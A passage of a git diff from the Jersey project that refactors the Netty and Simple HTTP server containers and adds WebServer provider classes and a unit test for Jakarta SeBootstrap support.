* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -58,7 +58,7 @@
* Create and start Netty server.
*
* @param baseUri base uri.
- * @param configuration Jersey configuration.
+ * @param container Jersey container.
* @param sslContext Netty SSL context (can be null).
* @param block when {@code true}, this method will block until the server is stopped. When {@code false}, the
* execution will
@@ -66,25 +66,64 @@
* @return Netty channel instance.
* @throws ProcessingException when there is an issue with creating new container.
*/
- public static Channel createServer(final URI baseUri, final ResourceConfig configuration, SslContext sslContext,
+ public static Channel createServer(final URI baseUri, final NettyHttpContainer container, SslContext sslContext,
final boolean block)
throws ProcessingException {
+ final ServerBootstrap serverBootstrap = createServerBootstrap(baseUri, container, sslContext);
+ return startServer(getPort(baseUri), container, serverBootstrap, block);
+ }
+
+ /**
+ * Create but not start Netty server.
+ *
+ * @param baseUri base uri.
+ * @param container Jersey container.
+ * @param sslContext Netty SSL context (can be null).
+ * @return Netty bootstrap instance.
+ * @throws ProcessingException when there is an issue with creating new container.
+ */
+ static ServerBootstrap createServerBootstrap(final URI baseUri, final NettyHttpContainer container, SslContext sslContext) {
+ final JerseyServerInitializer jerseyServerInitializer =
+ new JerseyServerInitializer(baseUri, sslContext, container, container.getConfiguration());
+ return createServerBootstrap(jerseyServerInitializer);
+ }
+
+ private static ServerBootstrap createServerBootstrap(final JerseyServerInitializer jerseyServerInitializer) {
// Configure the server.
final EventLoopGroup bossGroup = new NioEventLoopGroup(1);
final EventLoopGroup workerGroup = new NioEventLoopGroup();
- final NettyHttpContainer container = new NettyHttpContainer(configuration);
+
+ ServerBootstrap b = new ServerBootstrap();
+ b.option(ChannelOption.SO_BACKLOG, 1024);
+ b.group(bossGroup, workerGroup)
+ .channel(NioServerSocketChannel.class)
+ .childHandler(jerseyServerInitializer);
+
+ return b;
+ }
+
+ /**
+ * Start Netty server.
+ *
+ * @param port IP port to listen.
+ * @param container Jersey container.
+ * @param serverBootstrap Netty server bootstrap (i. e. prepared but unstarted server instance)
+ * @param block when {@code true}, this method will block until the server is stopped. When {@code false}, the
+ * execution will
+ * end immediately after the server is started.
+ * @return Netty channel instance.
+ * @throws ProcessingException when there is an issue with creating new container.
+ */
+ static Channel startServer(final int port, final NettyHttpContainer container, final ServerBootstrap serverBootstrap,
+ final boolean block)
+ throws ProcessingException {
try {
- ServerBootstrap b = new ServerBootstrap();
- b.option(ChannelOption.SO_BACKLOG, 1024);
- b.group(bossGroup, workerGroup)
- .channel(NioServerSocketChannel.class)
- .childHandler(new JerseyServerInitializer(baseUri, sslContext, container, configuration));
+ final EventLoopGroup bossGroup = serverBootstrap.config().group();
+ final EventLoopGroup workerGroup = serverBootstrap.config().childGroup();
- int port = getPort(baseUri);
-
- Channel ch = b.bind(port).sync().channel();
+ Channel ch = serverBootstrap.bind(port).sync().channel();
ch.closeFuture().addListener(new GenericFutureListener<Future<? super Void>>() {
@Override
@@ -112,6 +151,24 @@
*
* @param baseUri base uri.
* @param configuration Jersey configuration.
+ * @param sslContext Netty SSL context (can be null).
+ * @param block when {@code true}, this method will block until the server is stopped. When {@code false}, the
+ * execution will
+ * end immediately after the server is started.
+ * @return Netty channel instance.
+ * @throws ProcessingException when there is an issue with creating new container.
+ */
+ public static Channel createServer(final URI baseUri, final ResourceConfig configuration, SslContext sslContext,
+ final boolean block)
+ throws ProcessingException {
+ return createServer(baseUri, new NettyHttpContainer(configuration), sslContext, block);
+ }
+
+ /**
+ * Create and start Netty server.
+ *
+ * @param baseUri base uri.
+ * @param configuration Jersey configuration.
* @param block when {@code true}, this method will block until the server is stopped. When {@code false}, the
* execution will
* end immediately after the server is started.
@@ -140,39 +197,18 @@
public static Channel createHttp2Server(final URI baseUri, final ResourceConfig configuration, SslContext sslContext) throws
ProcessingException {
- final EventLoopGroup bossGroup = new NioEventLoopGroup(1);
- final EventLoopGroup workerGroup = new NioEventLoopGroup();
final NettyHttpContainer container = new NettyHttpContainer(configuration);
- try {
- ServerBootstrap b = new ServerBootstrap();
- b.option(ChannelOption.SO_BACKLOG, 1024);
- b.group(bossGroup, workerGroup)
- .channel(NioServerSocketChannel.class)
- .childHandler(new JerseyServerInitializer(baseUri, sslContext, container, configuration, true));
+ final JerseyServerInitializer jerseyServerInitializer =
+ new JerseyServerInitializer(baseUri, sslContext, container, configuration, true);
+ ServerBootstrap serverBootstrap = createServerBootstrap(jerseyServerInitializer);
- int port = getPort(baseUri);
+ int port = getPort(baseUri);
- Channel ch = b.bind(port).sync().channel();
-
- ch.closeFuture().addListener(new GenericFutureListener<Future<? super Void>>() {
- @Override
- public void operationComplete(Future<? super Void> future) throws Exception {
- container.getApplicationHandler().onShutdown(container);
-
- bossGroup.shutdownGracefully();
- workerGroup.shutdownGracefully();
- }
- });
-
- return ch;
-
- } catch (InterruptedException e) {
- throw new ProcessingException(e);
- }
+ return startServer(port, container, serverBootstrap, false);
}
- private static int getPort(URI uri) {
+ static int getPort(URI uri) {
if (uri.getPort() == -1) {
if ("http".equalsIgnoreCase(uri.getScheme())) {
return 80;
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServer.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServer.java
new file mode 100644
index 0000000..7b28779
--- /dev/null
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServer.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.httpserver;
+
+import java.net.InetSocketAddress;
+import java.net.URI;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionException;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+import io.netty.bootstrap.ServerBootstrap;
+import io.netty.channel.Channel;
+import io.netty.handler.ssl.ClientAuth;
+import io.netty.handler.ssl.JdkSslContext;
+
+/**
+ * Jersey {@code Server} implementation based on Netty {@link Channel}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class NettyHttpServer implements WebServer {
+
+ private final NettyHttpContainer container;
+
+ private final ServerBootstrap serverBootstrap;
+
+ private volatile Channel channel;
+
+ private final int port;
+
+ NettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+ this(new NettyHttpContainer(application), configuration);
+ }
+
+ NettyHttpServer(final Class<? extends Application> applicationClass,
+ final JerseySeBootstrapConfiguration configuration) {
+ this(new NettyHttpContainer(applicationClass), configuration);
+ }
+
+ NettyHttpServer(final NettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+ final SSLContext sslContext = configuration.sslContext();
+ final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+ .sslClientAuthentication();
+
+ final URI uri = configuration.uri(true);
+ this.port = NettyHttpContainerProvider.getPort(uri);
+
+ this.container = container;
+ this.serverBootstrap = NettyHttpContainerProvider.createServerBootstrap(
+ uri,
+ this.container,
+ configuration.isHttps()
+ ? new JdkSslContext(sslContext, false, nettyClientAuth(sslClientAuthentication))
+ : null
+ );
+
+ if (configuration.autoStart()) {
+ this.channel = NettyHttpContainerProvider.startServer(this.port, this.container, this.serverBootstrap, false);
+ }
+ }
+
+ private static final ClientAuth nettyClientAuth(
+ final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication) {
+ switch (sslClientAuthentication) {
+ case MANDATORY:
+ return ClientAuth.REQUIRE;
+ case OPTIONAL:
+ return ClientAuth.OPTIONAL;
+ default:
+ return ClientAuth.NONE;
+ }
+ }
+
+ @Override
+ public final NettyHttpContainer container() {
+ return this.container;
+ }
+
+ @Override
+ public final int port() {
+ return this.channel == null ? this.port : ((InetSocketAddress) this.channel.localAddress()).getPort();
+ }
+
+ @Override
+ public final CompletableFuture<Object> start() {
+ return this.channel != null ? CompletableFuture.completedFuture(this.channel)
+ : CompletableFuture.supplyAsync(() -> {
+ try {
+ this.channel = NettyHttpContainerProvider.startServer(this.port, this.container,
+ this.serverBootstrap, false);
+ return this.channel;
+ } catch (final Exception e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final CompletableFuture<Void> stop() {
+ return this.channel == null ? CompletableFuture.completedFuture(null) : CompletableFuture.supplyAsync(() -> {
+ try {
+ return this.channel.close().get();
+ } catch (final Exception e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final <T> T unwrap(final Class<T> nativeClass) {
+ return nativeClass.cast(this.channel == null ? this.serverBootstrap : this.channel);
+ }
+
+}
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProvider.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProvider.java
new file mode 100644
index 0000000..0749369
--- /dev/null
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProvider.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.httpserver;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+import io.netty.channel.Channel;
+
+/**
+ * Server provider for servers based on Netty {@link Channel}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class NettyHttpServerProvider implements WebServerProvider {
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(NettyHttpServer.class, type, configuration)
+ ? type.cast(new NettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(NettyHttpServer.class, type, configuration)
+ ? type.cast(new NettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+}
diff --git a/containers/netty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/netty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..61e6e1b
--- /dev/null
+++ b/containers/netty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.netty.httpserver.NettyHttpServerProvider
\ No newline at end of file
diff --git a/containers/netty-http/src/test/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProviderTest.java b/containers/netty-http/src/test/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProviderTest.java
new file mode 100644
index 0000000..8ea7dd5
--- /dev/null
+++ b/containers/netty-http/src/test/java/org/glassfish/jersey/netty/httpserver/NettyHttpServerProviderTest.java
@@ -0,0 +1,199 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.netty.httpserver;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+import io.netty.bootstrap.ServerBootstrap;
+import io.netty.channel.Channel;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link NettyHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class NettyHttpServerProviderTest {
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServer2() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ shouldProvideServer(ShouldProvideServerApplication.class, resource);
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ final Application application = new ShouldProvideServerApplication();
+ shouldProvideServer(application.getClass(), resource);
+ }
+
+ private void shouldProvideServer(final Object application, final Resource resource)
+ throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new NettyHttpServerProvider();
+ final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
+
+ // when
+ final WebServer webServer = Application.class.isInstance(application)
+ ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+ : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+ final Object nativeHandle = webServer.unwrap(Object.class);
+ final CompletionStage<?> start = webServer.start();
+ final Object startResult = start.toCompletableFuture().get();
+ final Container container = webServer.container();
+ final int port = webServer.port();
+ final String entity = ClientBuilder.newClient()
+ .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+ .get(String.class);
+ final CompletionStage<?> stop = webServer.stop();
+ final Object stopResult = stop.toCompletableFuture().get();
+
+ // then
+ assertThat(webServer, is(instanceOf(NettyHttpServer.class)));
+ assertThat(nativeHandle, is(instanceOf(ServerBootstrap.class)));
+ assertThat(startResult, is(instanceOf(Channel.class)));
+ assertThat(container, is(instanceOf(NettyHttpContainer.class)));
+ assertThat(port, is(greaterThan(0)));
+ assertThat(entity, is(resource.toString()));
+ assertThat(stopResult, is(nullValue()));
+ }
+
+
+ @Path("/")
+ protected static final class Resource {
+ @GET
+ @Override
+ public String toString() {
+ return Resource.class.getName();
+ }
+ }
+
+ protected static class ShouldProvideServerApplication extends Application {
+ @Override
+ public Set<Object> getSingletons() {
+ return Collections.singleton(new Resource());
+ }
+ }
+
+ private static final Logger LOGGER = Logger.getLogger(NettyHttpServerProviderTest.class.getName());
+
+ private static final int DEFAULT_PORT = 0;
+
+ private static final int getPort() {
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+ try {
+ final int i = Integer.parseInt(value);
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
+ }
+ return i;
+ } catch (final NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid non-negative integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+
+ return DEFAULT_PORT;
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new NettyHttpServerProvider();
+ final Application application = new Application();
+ final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
+
+ // when
+ final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+ // then
+ assertThat(webServer.port(), is(greaterThan(0)));
+ }
+
+ private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
+ return (SeBootstrap.Configuration) name -> {
+ switch (name) {
+ case SeBootstrap.Configuration.PROTOCOL:
+ return "HTTP";
+ case SeBootstrap.Configuration.HOST:
+ return "localhost";
+ case SeBootstrap.Configuration.PORT:
+ return port;
+ case SeBootstrap.Configuration.ROOT_PATH:
+ return "/";
+ case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+ return SSLClientAuthentication.NONE;
+ case SeBootstrap.Configuration.SSL_CONTEXT:
+ try {
+ return SSLContext.getDefault();
+ } catch (final NoSuchAlgorithmException e) {
+ throw new RuntimeException(e);
+ }
+ case ServerProperties.WEBSERVER_AUTO_START:
+ return autoStart;
+ default:
+ return null;
+ }
+ };
+ }
+
+}
\ No newline at end of file
diff --git a/containers/pom.xml b/containers/pom.xml
index be05caf..ccedd36 100644
--- a/containers/pom.xml
+++ b/containers/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.containers</groupId>
@@ -40,6 +40,7 @@
<module>jdk-http</module>
<module>jersey-servlet-core</module>
<module>jersey-servlet</module>
+ <module>jetty11-http</module>
<module>jetty-http</module>
<module>jetty-http2</module>
<module>jetty-servlet</module>
diff --git a/containers/simple-http/pom.xml b/containers/simple-http/pom.xml
index e21c301..a9c256b 100644
--- a/containers/simple-http/pom.xml
+++ b/containers/simple-http/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-container-simple-http</artifactId>
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
index afd86b5..6298cf3 100644
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
+++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainer.java
@@ -465,4 +465,15 @@
this.appHandler = new ApplicationHandler(application, new SimpleBinder());
this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
}
+
+ /**
+ * Create a new Simple framework HTTP container.
+ *
+ * @param applicationClass JAX-RS / Jersey application class to be deployed on Simple framework HTTP
+ * container.
+ */
+ SimpleContainer(final Class<? extends Application> applicationClass) {
+ this.appHandler = new ApplicationHandler(applicationClass, new SimpleBinder());
+ this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
+ }
}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
index 6740c6b..519fe7d 100644
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
+++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,19 +19,19 @@
import java.io.Closeable;
import java.io.IOException;
import java.net.InetSocketAddress;
-import java.net.SocketAddress;
import java.net.URI;
-import jakarta.ws.rs.ProcessingException;
-
import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLEngine;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.ProcessingException;
import org.glassfish.jersey.internal.util.collection.UnsafeValue;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.simple.internal.LocalizationMessages;
-
import org.simpleframework.http.core.Container;
import org.simpleframework.http.core.ContainerSocketProcessor;
+import org.simpleframework.transport.Socket;
import org.simpleframework.transport.SocketProcessor;
import org.simpleframework.transport.connect.Connection;
import org.simpleframework.transport.connect.SocketConnection;
@@ -149,7 +149,55 @@
public SocketProcessor get() throws IOException {
return new ContainerSocketProcessor(container);
}
- });
+ }, true);
+ }
+
+ /**
+ * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
+ * resource and provider classes found by searching the classes referenced in the java classpath.
+ *
+ * @param address the URI to create the http server. The URI scheme must be equal to {@code https}
+ * . The URI user information and host are ignored. If the URI port is not present then
+ * port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
+ * The URI path, query and fragment components are ignored.
+ * @param context this is the SSL context used for SSL connections.
+ * @param container the Simple container with ResourceConfig.
+ * @param sslClientAuthentication Secure socket client authentication policy.
+ * @param start whether the server shall listen to connections immediately
+ * @return the closeable connection, with the endpoint started.
+ * @throws ProcessingException thrown when problems during server creation.
+ * @throws IllegalArgumentException if {@code address} is {@code null}.
+ */
+ public static SimpleServer create(final URI address, final SSLContext context,
+ final SSLClientAuthentication sslClientAuthentication, final SimpleContainer container, final boolean start) {
+ return _create(address, context, container, new UnsafeValue<SocketProcessor, IOException>() {
+ @Override
+ public SocketProcessor get() throws IOException {
+ return new ContainerSocketProcessor(container) {
+ @Override
+ public final void process(final Socket socket) throws IOException {
+ final SSLEngine sslEngine = socket.getEngine();
+ if (sslEngine != null) {
+ switch (sslClientAuthentication) {
+ case MANDATORY: {
+ sslEngine.setNeedClientAuth(true);
+ break;
+ }
+ case OPTIONAL: {
+ sslEngine.setWantClientAuth(true);
+ break;
+ }
+ default: {
+ sslEngine.setNeedClientAuth(false);
+ break;
+ }
+ }
+ }
+ super.process(socket);
+ }
+ };
+ }
+ }, start);
}
/**
@@ -201,12 +249,13 @@
public SocketProcessor get() throws IOException {
return new ContainerSocketProcessor(container, count, select);
}
- });
+ }, true);
}
private static SimpleServer _create(final URI address, final SSLContext context,
final SimpleContainer container,
- final UnsafeValue<SocketProcessor, IOException> serverProvider)
+ final UnsafeValue<SocketProcessor, IOException> serverProvider,
+ final boolean start)
throws ProcessingException {
if (address == null) {
throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
@@ -236,22 +285,26 @@
final SocketProcessor server = serverProvider.get();
connection = new SocketConnection(server, analyzer);
+ final SimpleServer simpleServer = new SimpleServer() {
+ private InetSocketAddress socketAddr = listen;
- final SocketAddress socketAddr = connection.connect(listen, context);
- container.onServerStart();
-
- return new SimpleServer() {
+ @Override
+ public final void start() throws IOException {
+ this.socketAddr = (InetSocketAddress) connection.connect(listen, context);
+ container.onServerStart();
+ }
@Override
public void close() throws IOException {
container.onServerStop();
analyzer.stop();
connection.close();
+ this.socketAddr = listen;
}
@Override
public int getPort() {
- return ((InetSocketAddress) socketAddr).getPort();
+ return this.socketAddr.getPort();
}
@Override
@@ -268,6 +321,12 @@
}
}
};
+
+ if (start) {
+ simpleServer.start();
+ }
+
+ return simpleServer;
} catch (final IOException ex) {
throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), ex);
}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java
new file mode 100644
index 0000000..1b9ac18
--- /dev/null
+++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.simple;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionException;
+
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+/**
+ * Jersey {@code Server} implementation based on Simple framework
+ * {@link SimpleServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class SimpleHttpServer implements WebServer {
+
+ private final SimpleContainer container;
+
+ private final SimpleServer simpleServer;
+
+ SimpleHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+ this(new SimpleContainer(application), configuration);
+ }
+
+ SimpleHttpServer(final Class<?extends Application> applicationClass,
+ final JerseySeBootstrapConfiguration configuration) {
+ this(new SimpleContainer(applicationClass), configuration);
+ }
+
+ SimpleHttpServer(final SimpleContainer container, final JerseySeBootstrapConfiguration configuration) {
+ this.container = container;
+ this.simpleServer = SimpleContainerFactory.create(
+ configuration.uri(true),
+ configuration.sslContext(),
+ configuration.sslClientAuthentication(),
+ this.container,
+ configuration.autoStart());
+ }
+
+ @Override
+ public final SimpleContainer container() {
+ return this.container;
+ }
+
+ @Override
+ public final int port() {
+ return this.simpleServer.getPort();
+ }
+
+ @Override
+ public final CompletableFuture<Void> start() {
+ return CompletableFuture.runAsync(() -> {
+ try {
+ this.simpleServer.start();
+ } catch (final Exception e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final CompletableFuture<Void> stop() {
+ return CompletableFuture.runAsync(() -> {
+ try {
+ this.simpleServer.close();
+ } catch (final Exception e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final <T> T unwrap(final Class<T> nativeClass) {
+ return nativeClass.cast(this.simpleServer);
+ }
+
+}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java
new file mode 100644
index 0000000..33bd6a7
--- /dev/null
+++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.simple;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Server provider for servers based on Simple framework {@link SimpleServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class SimpleHttpServerProvider implements WebServerProvider {
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+ final SeBootstrap.Configuration configuration) {
